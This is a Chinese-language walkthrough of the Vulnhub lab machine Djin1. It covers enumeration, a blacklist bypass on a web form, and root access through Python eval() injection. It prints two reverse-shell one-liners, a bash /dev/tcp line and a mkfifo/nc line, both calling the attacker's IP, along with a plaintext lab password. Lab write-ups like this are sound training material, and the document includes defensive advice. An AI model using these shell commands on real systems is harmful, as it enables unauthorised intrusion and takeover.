OSCP渗透靶场之Vulnhub-Djin1
字数 1341 2025-08-10 23:42:01
Vulnhub-Djin1 渗透测试教学文档
靶机概述
Djin1 是 Vulnhub 上一个中等偏上难度的靶机,主要围绕黑名单绕过技术进行练习。本靶机涉及 FTP 匿名登录、Web 应用漏洞利用、Python 沙盒逃逸等多个渗透测试知识点。
环境准备
- 攻击机:Kali Linux
- 靶机:Djin1 (IP: 192.168.56.103)
- 工具:Nmap、Telnet、Gobuster、Netcat
渗透测试过程
0x01 信息收集
1. 端口扫描
使用 Nmap 进行全面扫描:
nmap -sC -sV -p- -v -A 192.168.56.103
扫描结果:
- 21/tcp: FTP (vsftpd 3.0.3),允许匿名登录
- 22/tcp: SSH
- 1337/tcp: 数学游戏服务
- 7331/tcp: HTTP (Werkzeug httpd 0.16.0, Python 2.7.15+)
2. FTP 匿名登录
ftp 192.168.56.103
匿名登录后下载文件:
get creds.txt
get game.txt
get message.txt
检查文件内容:
- creds.txt: 无敏感信息
- game.txt: 无敏感信息
- message.txt: 无敏感信息
3. 1337 端口分析
使用 Telnet 连接:
telnet 192.168.56.103 1337
发现是一个数学游戏,需要正确回答1000次才能获得奖励。
4. Web 目录扫描
对 http://192.168.56.103:7331 进行目录扫描:
gobuster dir -u http://192.168.56.103:7331 -w /path/to/wordlist.txt
发现可用路径:
- /wish
- /genie
0x02 初始访问
1. 绕过黑名单限制
在 /wish 页面尝试输入命令时遇到 403 错误,说明有安全限制。
构造反弹 shell 命令并进行 URL 编码:
原始命令:
bash -i >& /dev/tcp/192.168.56.102/6677 0>&1
URL 编码后提交,成功获取反弹 shell。
2. 用户信息收集
在目标系统中发现 app.py 文件,包含凭据:
nitish/p4ssw0rdStr3r0n9
使用该凭据登录 nitish 用户:
su nitish
检查 sudo 权限:
sudo -l
输出显示 nitish 可以以 sam 用户身份无需密码执行 /user/bin/genie。
尝试以 sam 身份执行 genie:
sudo -u sam /user/bin/genie -h
但未发现可利用的功能。
0x03 权限提升
1. Python 沙盒逃逸漏洞
分析 app.py 发现数学游戏存在漏洞:
- 程序没有对输入进行充分过滤
- 可以执行 Python 代码
测试漏洞:
eval('__import__("os").system("id")')
发现以 root 权限执行成功。
2. 构造反弹 shell
构建 Python 反弹 shell 代码:
eval('__import__("os").system("rm /tmp/f;mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.56.102 666 >/tmp/f")')
在数学游戏中提交该代码,成功获取 root 权限的 shell。
技术要点总结
- FTP 匿名登录:检查常见服务是否配置不当
- 黑名单绕过:通过编码技术绕过安全限制
- 凭证发现:在配置文件中查找敏感信息
- Python 沙盒逃逸:利用不安全的 eval() 函数执行任意代码
- 权限提升:从普通用户到 root 的完整提权路径
防御建议
- 禁用 FTP 匿名登录
- 对用户输入进行严格过滤和验证
- 避免使用 eval() 等危险函数
- 实施最小权限原则
- 定期审计系统配置和权限设置
扩展练习
- 尝试使用其他编码方式绕过黑名单
- 探索不使用 Python 沙盒逃逸的其他提权方法
- 分析数学游戏服务的源代码,寻找其他潜在漏洞
- 尝试通过 SSH 使用获取的凭据登录
通过本靶机的练习,可以掌握黑名单绕过、服务枚举、凭证发现和沙盒逃逸等渗透测试核心技术。